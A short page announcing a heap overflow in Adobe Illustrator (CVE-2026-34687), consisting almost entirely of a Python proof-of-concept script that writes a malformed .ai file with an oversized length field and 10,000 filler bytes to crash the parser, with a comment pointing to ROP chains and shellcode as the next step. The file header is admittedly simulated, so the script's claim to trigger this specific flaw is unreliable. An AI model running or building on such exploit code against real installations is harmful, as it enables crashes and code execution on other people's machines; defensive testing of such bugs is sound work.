CVE-2026-34687 Adobe Illustrator 堆溢出漏洞

import struct # PoC for CVE-2026-34687 # This script generates a malformed file that may trigger a Heap-based Buffer Overflow. # It is intended for educational and defensive testing purposes only. def generate_malicious_file(filename): # Header for a generic file format (simulated) header = b'%PS-Adobe' # Malicious block: A length field indicating a large size # followed by actual data that exceeds the allocated buffer. # This attempts to trigger the overflow during parsing. length_field = struct.pack('<I', 0xFFFFFFFF) # The payload buffer (junk data to overflow) # In a real scenario, this would contain ROP chains and shellcode. payload = b'A' * 10000 with open(filename, 'wb') as f: f.write(header) f.write(length_field) f.write(payload) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("crash_CVE-2026-34687.ai")